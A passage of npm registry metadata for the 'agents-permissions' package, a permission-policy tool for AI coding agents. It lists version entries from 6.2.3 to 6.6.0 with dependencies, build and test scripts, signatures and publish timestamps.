agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","yaml":"^2.9.0","trilean":"^1.3.0","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.23.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^26.2.0","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.153.4","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^11.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^7.0.0","@anthropic-ai/claude-agent-sdk":"^0.3.233","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.2.3_1790709257907_0.49807127221715963","host":"s3://npm-registry-packages-npm-production"}},"6.2.4":{"name":"agents-permissions","version":"6.2.4","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.2.4","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"01236fa7c2787edf2ea4a446f70b7a7ab85e4a57","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.2.4.tgz","fileCount":123,"integrity":"sha512-8vAuC6OiVskJD64qDb5Lvm8sZ3bz3yomjDfjzy446zmJRaZdh79hlwtli2SozRIqejE1KneaKkNcuttI9OxSzg==","signatures":[{"sig":"MEUCIQCOocmPND4AMoKRXn+tMoxVjxafGjnliD/PG8UQXmCl2gIgA0l08HOtFWNWhFMbE4qqh97tF9Ka8jivfq/AH46Noic=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQCzgylGUzDwhHGScOL/7y5ApTWe5OB7ab9d4rzIfrSG5gIgXi1FjMzDa4WzOWaAq3Knpa1f1kTbmyc68fcTGPXtU7U=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.2.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1478212},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","yaml":"^2.9.0","trilean":"^1.3.0","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.23.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^26.2.0","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.153.4","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^11.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^7.0.0","@anthropic-ai/claude-agent-sdk":"^0.3.233","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.2.4_1790710129483_0.30775591399406244","host":"s3://npm-registry-packages-npm-production"}},"6.3.0":{"name":"agents-permissions","version":"6.3.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.3.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"c29e7dc0b10fc4e8330eb11747705f9b2d55358e","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.3.0.tgz","fileCount":123,"integrity":"sha512-SwzfPiHKQOnfLrYoxDQFhVzUsCYxx5FUG4w2VL6a0IPXl/FsqTTvK2cxlyO9FA84BLGc+vAs3zXoYaCeKH9K8g==","signatures":[{"sig":"MEYCIQCJ+kvGjGL7RvQStL/1MNTQ6BTVulyL7Jv5lX7pZQyxoQIhALA+1kQh2JEy2EgZv1c+LY+H8wt+yAo6xZ0SxvrNKPlp","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCICOk1egV3+SG16t31sXpedT+/qNKjvJHYcEduO9cw1eoAiEA7Bt9tKGRh3cPu4EtV0HL+rtjJ1Bb+gaysC3HUfyZr7I=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.3.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1515498},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","yaml":"^2.9.0","trilean":"^1.3.0","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.23.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^26.2.0","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.153.4","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^11.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^7.0.0","@anthropic-ai/claude-agent-sdk":"^0.3.233","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.3.0_1790710921982_0.1459412807485938","host":"s3://npm-registry-packages-npm-production"}},"6.4.0":{"name":"agents-permissions","version":"6.4.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.4.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"6b1e919790ceeb0cda945d3597161eacd17b7e2a","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.4.0.tgz","fileCount":123,"integrity":"sha512-TYcQMh0YyPcSuRfuE6wpnDrWymt2iiRZhej6er//zv60M1+PZEA2iqspE+SY+cX+J3SBaE4UV9UsZTO69nFFfA==","signatures":[{"sig":"MEUCIQDU8FrhHzNIV3UYr5DApUh0WepRd/8n18Ctkto/E/4SwgIgVZKvaON/3yxVn2YMdUFngeI7P0HJF0yUne2gZfwmQYI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIBZq2HVj+0GjVqRb1k/+yYed2zlnFHAlRzcxwULaQBDqAiBigQ9IJ4KS7huKyTtQZfGMwMpv1/j4orgxnoGvoy4LMw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.4.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1531934},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","yaml":"^2.9.0","trilean":"^1.3.0","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.23.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^26.2.0","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.153.4","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^11.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^7.0.0","@anthropic-ai/claude-agent-sdk":"^0.3.233","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.4.0_1790711217069_0.2683321689544109","host":"s3://npm-registry-packages-npm-production"}},"6.5.0":{"name":"agents-permissions","version":"6.5.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.5.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"643141db3a4cdde2eee1344ef4d9dd47b5205195","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.5.0.tgz","fileCount":123,"integrity":"sha512-8AZmiJ23Ra3nNYdoYTiMtk9wfEwhs3ILRRQPJaXuMRgp+V7z9jYpayjqBSXn+iI+eBZ6BBFmuHgtYLSk/fjHsA==","signatures":[{"sig":"MEUCIBJ4VZ0ndb2SZY6LS3tT4NmiXoW9LgrwjdtRjTayG/CAAiEAhy0NnBMec49r7HnJYtCzPqsWVw+aJiRwtm9XCjMQ3UA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQCADeNe1Wow9diBzNTB5/dPhA9QK9pJaBIW+ld7OVuOvgIhAI+03dPHF1jwG7mpXc+1UVksbq7EH9fUX7GIpIdOnK+6","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.5.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1570771},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","yaml":"^2.9.0","trilean":"^1.3.0","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.23.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^26.2.0","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.153.4","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^11.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^7.0.0","@anthropic-ai/claude-agent-sdk":"^0.3.233","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.5.0_1790711476848_0.6011178958576355","host":"s3://npm-registry-packages-npm-production"}},"6.6.0":{"_id":"agents-permissions@6.6.0","bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"dist":{"shasum":"e371d209bc9ed8d6ea20542744955a5242ce1185","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.6.0.tgz","fileCount":129,"integrity":"sha512-vTHyNRzSQCJwmhN/Wm+Z2kAhkU6NycGYhayXTEnJnsY8vJwTRrW7T2KJZJikTuewgsAZqbXdwAK/FeONFqzsxA==","signatures":[{"sig":"MEUCIC+0BcWg6sSyVdvzLr96YdykUAvM+puvK0/JRXXMwnCsAiEA2/MJd+fiYD+8zKA/M0RjSIwyLSELSuOvGAbH6bPFqO4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEUCIBDWtUYRgfc+wrywO8TSG8TffLPQ8LaYSbDmfrAseiK+AiEAs4ZxmoV19+X8Az4tn36DVcBgbvBTfXjc1HDpTl0hOlo="}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.6.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1638831},"main":"./dist/schema.cjs","name":"agents-permissions","type":"module","types":"./dist/schema.d.mts","author":"Joseph Mearman","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"license":"Apache-2.0","scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"version":"6.6.0","_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"4eb81882-15a1-4458-945b-f804977e69a7"}},"homepage":"https://github.com/Mearman/agent-permissions#readme","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","yaml":"^2.9.0","trilean":"^1.7.0","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","tsdown":"^0.23.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^26.2.0","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.155.1","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^11.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^7.0.0","@anthropic-ai/claude-agent-sdk":"^0.3.233","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/agents-permissions_6.6.0_1790723844619_0.5070890291163903"}}},"time":{"created":"2026-05-10T08:15:57.836Z","modified":"2026-09-29T23:17:25.024Z","1.0.0":"2026-05-10T08:15:57.965Z","1.0.1":"2026-05-10T15:26:02.852Z","1.1.0":"2026-05-10T16:06:18.881Z","1.2.0":"2026-05-10T16:30:23.720Z","2.0.0":"2026-05-10T16:38:13.944Z","2.0.1":"2026-05-10T16:42:59.020Z","3.0.0":"2026-05-10T18:50:49.515Z","3.0.1":"2026-05-10T19:06:55.326Z","3.0.2":"2026-05-10T21:38:22.281Z","3.0.3":"2026-05-10T22:31:34.679Z","3.0.4":"2026-05-10T22:36:59.169Z","3.0.5":"2026-05-10T22:42:47.920Z","3.0.6":"2026-05-10T22:45:07.368Z","4.0.0":"2026-05-10T23:14:28.010Z","4.1.0":"2026-05-11T07:53:35.173Z","4.2.0":"2026-05-11T10:37:38.278Z","4.3.0":"2026-05-11T11:59:30.184Z","4.3.1":"2026-05-11T12:54:16.707Z","4.4.0":"2026-05-11T13:01:31.924Z","4.5.0":"2026-05-11T13:07:53.523Z","4.6.0":"2026-05-11T13:27:10.121Z","4.7.0":"2026-05-11T14:00:56.914Z","4.7.1":"2026-05-11T14:03:55.794Z","4.8.0":"2026-05-11T14:15:12.962Z","4.9.0":"2026-05-11T15:06:46.173Z","5.0.0":"2026-05-11T15:27:46.490Z","5.0.1":"2026-05-11T15:35:34.051Z","5.0.2":"2026-05-11T16:07:13.517Z","5.0.3":"2026-05-11T17:05:56.833Z","5.0.4":"2026-05-11T18:31:21.578Z","5.0.5":"2026-05-11T18:43:25.553Z","5.0.6":"2026-05-11T18:55:55.994Z","5.0.7":"2026-05-11T21:05:18.081Z","5.1.3":"2026-05-11T22:18:39.010Z","5.2.1":"2026-05-11T22:39:40.864Z","5.2.2":"2026-05-12T09:24:20.365Z","5.3.0":"2026-05-12T09:47:49.378Z","5.4.0":"2026-05-12T10:23:58.643Z","5.5.0":"2026-05-12T10:30:04.119Z","5.5.1":"2026-05-12T10:34:51.113Z","5.6.0":"2026-05-12T10:40:16.142Z","5.7.0":"2026-05-12T10:50:21.834Z","5.8.0":"2026-05-12T10:55:26.686Z","5.9.0":"2026-05-12T10:59:44.804Z","5.9.1":"2026-05-12T11:02:09.129Z","5.9.2":"2026-05-12T11:10:31.841Z","5.9.3":"2026-05-12T11:13:53.912Z","5.9.4":"2026-05-12T11:19:00.754Z","5.9.5":"2026-05-12T11:24:09.869Z","5.10.0":"2026-08-22T13:24:25.890Z","5.11.0":"2026-08-22T14:29:43.477Z","5.11.1":"2026-08-22T14:33:02.482Z","5.11.2":"2026-08-22T23:39:56.173Z","5.11.3":"2026-08-23T05:47:19.674Z","6.0.0":"2026-08-23T12:03:29.654Z","6.0.1":"2026-08-23T12:13:16.092Z","6.0.2":"2026-08-23T12:19:38.814Z","6.0.3":"2026-08-23T13:21:55.078Z","6.0.4":"2026-08-23T13:52:02.085Z","6.1.0":"2026-08-23T13:59:51.490Z","6.1.1":"2026-08-23T14:07:54.183Z","6.1.2":"2026-08-23T14:18:56.590Z","6.1.3":"2026-08-23T14:48:02.089Z","6.1.4":"2026-08-23T16:56:42.933Z","6.2.0":"2026-09-29T17:37:46.392Z","6.2.1":"2026-09-29T18:39:57.826Z","6.2.2":"2026-09-29T18:56:43.865Z","6.2.3":"2026-09-29T19:14:18.014Z","6.2.4":"2026-09-29T19:28:49.573Z","6.3.0":"2026-09-29T19:42:02.071Z","6.4.0":"2026-09-29T19:46:57.174Z","6.5.0":"2026-09-29T19:51:17.013Z","6.6.0":"2026-09-29T23:17:24.703Z"},"bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"author":"Joseph 